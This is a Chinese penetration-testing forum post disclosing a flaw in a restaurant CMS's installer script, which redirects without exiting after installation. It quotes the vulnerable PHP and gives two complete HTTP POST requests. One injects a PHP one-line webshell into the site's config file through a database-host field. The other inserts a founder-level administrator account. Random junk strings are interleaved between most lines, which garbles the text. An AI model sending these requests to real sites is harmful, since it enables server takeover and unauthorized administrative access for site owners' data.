中国网络渗透测试联盟
标题:
口福科技餐厅cms漏洞(可getshell)
[打印本页]
作者:
admin
时间:
2012-12-4 11:13
标题:
口福科技餐厅cms漏洞(可getshell)
问题出在/install/index.php文件。在程序安装完后,会在程序根目录下生成install.lock文件。而/install/index.php在判断是否有install.lock时出现错误。
9 y3 x8 h3 v8 b- M, |% @4 t
; K- ~3 A k. U' j
<?php
! L& T3 o: I! {. N1 b! n
if(file_exists("../install.lock"))
& W! G# V6 g2 u p
{
0 D# k0 u; X9 m5 Z$ |
header("Location: ../");//没有退出
C) `9 @4 Y/ v" r# d% w9 P0 f
}
9 @2 ~2 x3 z$ E
* T0 j' d' n% v% O# \# u$ M- a
//echo 'tst';exit;
6 R% G% [4 E) c8 m
require_once("init.php");
$ r5 l( B. ?/ U4 G0 T
if(empty($_REQUEST['step']) || $_REQUEST['step']==1)
3 e. Q, ]9 H" s1 q- X
{
5 P) Q0 h- d" i5 R
可见在/install/index.php存在时,只是header做了302重定向并没有退出,也就是说下面的逻辑还是会执行的。在这里至少可以产生两个漏洞。
, k3 L' O3 R! x* _
7 ^( ?) J6 `, X2 M2 ]% W
1、getshell(很危险)
9 ~* X* O3 ^' Q# d, P* t
if(empty($_REQUEST['step']) || $_REQUEST['step']==1)
) c; @5 r( `. c {3 R
{
2 r7 @7 u* }% s+ Q$ R6 ~- R; t! }
$smarty->assign("step",1);
3 J" j! Z" Y0 N! ?$ P {
$smarty->display("index.html");
; K. f! D, [. D+ }
}elseif($_REQUEST['step']==2)
- N+ a! U+ h9 J' X% U3 q
{
8 h6 z( G" T* l: ]- j
$mysql_host=trim($_POST['mysql_host']);
. d/ X1 W4 a- u. F- \1 y7 N
$mysql_user=trim($_POST['mysql_user']);
7 R4 `! {8 ?5 n3 y
$mysql_pwd=trim($_POST['mysql_pwd']);
: i, s5 R9 e* b9 e5 Y/ I4 e* e
$mysql_db=trim($_POST['mysql_db']);
# l; N/ v6 k0 p
$tblpre=trim($_POST['tblpre']);
" C) c8 l* N2 E3 F+ v- K
$domain==trim($_POST['domain']);
; z2 ?. l. C. V: Y4 C
$str="<?php \r\n";
* q; W0 P) L# D( u0 ~* U
$str.='define("MYSQL_HOST","'.$mysql_host.'");'."\r\n";
; K; U2 ~7 }* M1 c- B( _0 b% r7 c
$str.='define("MYSQL_USER","'.$mysql_user.'");'."\r\n";
$ x: b3 V) B, m
$str.='define("MYSQL_PWD","'.$mysql_pwd.'");'."\r\n";
: h4 `2 D, |* Q
$str.='define("MYSQL_DB","'.$mysql_db.'");'."\r\n";
6 d1 L5 L1 e- Y' |! v
$str.='define("MYSQL_CHARSET","GBK");'."\r\n";
: E, n, T; B R* F) I
$str.='define("TABLE_PRE","'.$tblpre.'");'."\r\n";
& s6 u6 }7 M; Z# x
$str.='define("DOMAIN","'.$domain.'");'."\r\n";
, n6 m! o8 x9 E6 J
$str.='define("SKINS","default");'."\r\n";
8 N; T6 [: \# e5 O
$str.='?>';
" n) Y0 Q' A2 N( o3 b% i
file_put_contents("../config/config.inc.php",$str);//将提交的数据写入php文件
0 p" @! }- e2 f4 k
上面的代码将POST的数据直接写入了../config/config.inc.php文件,那么我们提交如下POST包,即可获得一句话木马
9 [' V7 V& S6 Z( c9 V A$ G
POST /canting/install/index.php?m=index&step=2 HTTP/1.1
! c2 A7 U1 U+ A# c( G; S. U
Host: 192.168.80.129
3 O( L1 `8 a. D( P. v
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0
, Y1 I5 j# v" O. a8 s# e
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
' z4 p- \ Z' n3 ?" c
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
' J( d) d0 G1 p N
Accept-Encoding: gzip, deflate
7 a9 w$ Q0 c, y+ [
Referer:
http://192.168.80.129/canting/install/index.php?step=1
! ^: Q7 A8 m8 m) y, s
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42
9 r8 L* ~9 z6 b( N/ T( F( n; }
Content-Type: application/x-www-form-urlencoded
; f( F# c5 y3 i& K# E/ }; x
Content-Length: 126
9 Z3 g8 ?$ Q7 l& [ M: F
+ ^/ d: E. P4 B( R
mysql_host=test");@eval($_POST[x]);?>//&mysql_user=1&mysql_pwd=2&mysql_db=3&tblpre=koufu_&domain=www&button=%CF%C2%D2%BB%B2%BD
3 O" X0 M; [9 C5 ?9 `- _0 [3 t( R
但是这个方法很危险,将导致网站无法运行。
: G. S$ d6 Q. Z- l
3 ^3 u3 B0 I9 e' Z3 V
2、直接添加管理员
# h: I4 a" [3 y' a3 G
g+ _8 r4 M/ D6 t' N( m' t
elseif($_REQUEST['step']==5)
3 x# i" D9 ~* b J
{
+ ?! V4 h- g# D& x7 ~, h
if($_POST)
% p6 ]7 ~+ W* K+ ?8 N& C
{ require_once("../config/config.inc.php");
9 {$ l V2 c3 p* M
$link=mysql_connect(MYSQL_HOST,MYSQL_USER,MYSQL_PWD);
! a9 j" K: r& {; O! [' w- T* s
mysql_select_db(MYSQL_DB,$link);
" u/ g- a# Q3 A# [) N/ `
mysql_query("SET NAMES ".MYSQL_CHARSET );
, |1 O" G, s- ]
mysql_query("SET sql_mode=''");
/ E) z8 F: s; E5 ~3 A) ~. m
1 j7 t' F3 r0 j8 U( p
$adminname=trim($_POST['adminname']);
. {3 T6 V r' i
$pwd1=trim($_POST['pwd1']);
; @0 c$ I- K% u" R* b% q: Y# F- U
$pwd2=trim($_POST['pwd2']);
+ r) o* B/ `' n
if(empty($adminname))
% y9 K* o9 g) K# ~
{
# p4 G% M7 V& _3 t2 Y2 ?
+ l! O( P& ~3 t- Q. i
echo "<script>alert('管理员不能为空');history.go(-1);</script>";
- R* \& h; e& a5 v ]
exit();
- |# f& P3 s6 w( D- V1 i5 B& t& N' T# F
}
: q* m# V5 f% Y4 {# M
if(($pwd1!=$pwd2) or empty($pwd1))
/ q/ L- N2 \! U+ y1 L
{
1 o5 W; y/ l/ M. U* l" v' _
echo "<script>alert('两次输入的密码不一致');history.go(-1);</script>";//这里也是没有退出
9 ^ L7 C, j2 k
}
) M" s' D' h2 K8 z) S4 F( `4 K$ ~* }
mysql_query("insert into ".TABLE_PRE."admin(adminname,password,isfounder) values('$adminname','".umd5($pwd1)."',1)");//直接可以插入一个管理员
( C- M/ Z5 f; o/ a. H, Z( X
}
( o3 r% w# i0 S3 H5 D) H
这样的话我们就可以直接插入一个qingshen/qingshen的管理员帐号,语句如下:
+ b9 j, Z, U* x! j2 D" D
POST /canting/install/index.php?m=index&step=5 HTTP/1.1
: D: u+ n$ O* E) v) ~! ?7 M4 H
Host: 192.168.80.129
' u) }" k/ ~; u- R/ ]
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0
$ T- M$ l$ I% T8 \, G- R! ^
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
4 p* z; e# j6 w! W
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
& ~7 N, V4 q, h/ ^0 `
Accept-Encoding: gzip, deflate
^) v) p0 M F# n* h: T
Referer:
http://www.2cto.com
/canting/install/index.php?step=1
$ E$ {1 J( d3 Y! X2 A! u: y
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42
: e3 Y' f0 @1 N( J5 Y. f& M& p* ^5 W
Content-Type: application/x-www-form-urlencoded
7 u' k; W0 _) L: e
Content-Length: 46
e" o: J% f* l" V6 O. N7 B
& |: G- \5 a& P# W# v# o
adminname=qingshen&pwd1=qingshen&pwd2=qingshen
$ H" ~6 y1 e: ]3 J$ I! ^
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2